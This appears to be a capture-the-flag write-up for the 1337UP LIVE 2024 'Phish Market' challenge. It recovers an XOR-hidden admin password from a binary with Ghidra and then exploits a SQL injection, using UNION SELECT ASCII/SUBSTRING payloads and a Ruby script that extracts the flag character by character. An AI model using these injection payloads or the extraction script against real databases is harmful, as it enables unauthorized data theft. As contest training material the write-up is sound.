>/posts/1337UP LIVE 2024 Phish Market Order Management $

Estimated reading time: 19 minutes


Phish Market Order Management

Category: Reverse

Difficulty: easy

Author: 5h33pd06

Description:

Welcome to the Phish Market Order Management System! This system will allow you to view important information about the Phish Market's products and customers.

Handout files

phish_market.zip


First Part

Look at the files

│>PHISH_MARKET
│   docker-compose.yml
│   start.sh
│
├───market
│       Dockerfile
│       market
│       wait-for-it.sh
│
└───mysql
        Dockerfile
        init-db.sql

As you may have noticed, there are 2 Docker containers: one with a MySQL database and another one containing the script wait-for-it.sh and the market executable file.

Let's take a look at init-db.sql:

-- Insert the flag into the `admin` table
INSERT INTO admin (username, flag) VALUES
('admin', 'INTIGRITI{fake_flag}');

SET GLOBAL super_read_only = ON;

The file creates a database with some products, orders, and customers, but we are only interested in the last part with the flag.

That's good — we know where to find the flag. Now let's look at the script in the other directory:

#!/bin/bash
# wait-for-it.sh

host="$1"
shift
port="$1"
shift
cmd="$@"

until nc -z "$host" "$port"; do
    >&2 echo "MySQL is unavailable - sleeping"
    sleep 1
done

>&2 echo "MySQL is up - executing command"
exec $cmd

In environments like Docker, where services start in parallel, wait-for-it.sh ensures that dependencies (e.g., the database) are ready before the client application starts. This means that everything related to this task is likely located in the market file—this is a great lead. Now we can run the task and see how it behaves.

Market Application

To run it locally, open a terminal in the directory containing the docker-compose.yml file and type:

docker-compose up

ss1

If you see something like the output above in the console, everything is set up correctly, and we can connect to the application:

nc localhost 1336  # Connect to localhost on port 1336

ss2

It looks like the market application won't interact with us unless we provide the correct password. But how can we find it?

This is where the reverse engineering part comes in!

Reversing the App

To be honest, the first two steps I took were checking for strings in Binary Ninja and examining imports in IDA Free. Since I didn't find anything interesting, I moved to Ghidra — the same tool I used in my previous reverse write-up.

After opening Ghidra, there were lots of different sections to explore...

What are we looking for?

Since we know the text displayed after entering an incorrect password, we should search for the code responsible for this logic. This will also lead us to the login and password-checking functionality.

ss3

ss4

The variable cVar3 is compared to 0 before sending the "incorrect password" message. One line above, the function FUNC_0010359c retrieves the buffer containing the received password and assigns it to this variable.

Let's examine how the password-checking logic works.

bool FUN_0010359c(void **param_1)

{
  void *__n;
  int iVar1;
  bool bVar2;
  undefined *local_38;
  void *local_30;
  undefined local_28 [24];

  FUN_001034c9(&local_38);
  __n = param_1[1];
  bVar2 = false;
  if ((__n == local_30) && (bVar2 = true, __n != (void *)0x0)) {
    iVar1 = memcmp(*param_1,local_38,(size_t)__n);
    bVar2 = iVar1 == 0;
  }
  if (local_38 != local_28) {
    operator.delete(local_38);
  }
  return bVar2;
}

This code isn't complicated. It's a simple comparison of two strings, character by character. What's important is that param1 is compared to the local_38 variable. However, local_38 is not set here — it seems to be assigned by FUN_001034c9. Let's open this function next:

pbVar5 = &DAT_00106c20;
pbVar6 = &DAT_00106c10;
do {
  bVar2 = *pbVar5;
  bVar1 = *pbVar6;
  plVar3 = param_1[1];
  if (param_1 + 2 == (long **)*param_1) {
    plVar4 = (long *)0xf;
  } else {
    plVar4 = param_1[2];
  }
  if (plVar4 < (long *)((long)plVar3 + 1)) {
    std::__cxx11::basic_string<>::_M_mutate((ulong)param_1,(ulong)plVar3,(char *)0x0,0);
  }
  *(byte *)((long)*param_1 + (long)plVar3) = bVar2 ^ bVar1;
  param_1[1] = (long *)((long)plVar3 + 1);
  *(undefined *)((long)*param_1 + 1 + (long)plVar3) = 0;
  pbVar5 = pbVar5 + 1;
  pbVar6 = pbVar6 + 1;
} while ((eh_frame_hdr *)pbVar5 != &eh_frame_hdr_00106c30);
return param_1;
}

Fortunately, this function isn't too complex either. The main logic involves taking two strings, pbVar5 and pbVar6, and performing an XOR operation on them character by character.

Locate these two values in the .data section.

ss5

This looks promising — it might be a password. Now, XOR these two strings together.

ss6

N3v3RG0nn@6u3$$!

That definitely looks like a real password. Let's try it!

I'm In!

ss7

After checking every option, there was no predefined way to retrieve the flag from the database. Hmm, it looks like it's not the end yet.

We need to somehow perform an SQL Injection attack on this application to retrieve data from another table.

SQL Injection Preparation

We need to go back to Ghidra and locate an SQL query used to retrieve any data.

The example query I found was:

"SELECT ordernumber, total FROM orders WHERE ordernumber = "

The query I sent was:

1 UNION SELECT flag, 1 FROM admin --

And it kind of worked, but... yeah, kind of only, because it only returned numeric values.

ss8

If only there was a way to represent alphabets as numeric values... Yes, you're thinking correctly — we have to get it as ASCII numbers.

1 UNION SELECT ASCII(flag), 1 FROM admin --

ss9

Now we get the value "73," which corresponds to "I" — the beginning of the "INTIGRITI" flag. That's a good sign.
Little we know flags start with "INTIGRITI" and end with "}" — this is enough information to modify our query and write an automated script.

Final Query

1 UNION SELECT ASCII(SUBSTRING(flag, 1, 1)), 1 FROM admin --

I used SUBSTRING here to retrieve one character in every query.

Here is the full script for extracting the flag from the database:

require 'socket'

def retrieve_flag
  host = 'localhost'
  port = 1336
  password = "N3v3RG0nn@6u3$$!"
  flag = ""

  puts "[INFO] Connecting to server on #{host}:#{port}..."
  socket = TCPSocket.new(host, port)

  puts "[INFO] Waiting for password prompt..."
  while (line = socket.gets)
    break if line.include?("Please enter the admin password:")
  end

  puts "[INFO] Sending password..."
  socket.puts(password)

  puts "[INFO] Waiting for main menu..."
  while (line = socket.gets)
    break if line.include?("4. Exit")
  end

  loop do
    socket.puts("2")

    while (line = socket.gets)
      break if line.include?("Enter order number:")
    end

    query = "1 UNION SELECT ASCII(SUBSTRING(flag, #{flag.length + 1}, 1)), 1 FROM admin --"
    socket.puts(query)
    socket.puts("\n")

    ascii_value = nil
    while (line = socket.gets)
      if line.include?("Order Number: ")
        match = line.match(/Order Number: (\d+), Total:/)
        value = match[1].to_i if match
        next if value == 1
        ascii_value = value if (32..126).include?(value)
      end

      if line.include?("Press Enter to return to the main menu...")
        break
      end
    end

    if ascii_value
      char = ascii_value.chr
      flag << char
      break if char == "}"
    else
      puts "[ERROR] Failed to read ASCII value. Exiting..."
      break
    end
  end

  socket.close
  puts "[INFO] Retrieved flag: #{flag}"
end

retrieve_flag

And here's the result:

[INFO] Connecting to server on localhost:1336...
[INFO] Waiting for password prompt...
[INFO] Sending password...
[INFO] Waiting for main menu...
[INFO] Retrieved flag: INTIGRITI{fake_flag}

We got it locally!

At the end, all you need to do is replace the host with the real task hostname and run the script to get:

INTIGRITI{w3b_ch4ll3n63_1n_d156u153}

Thanks, that was fun!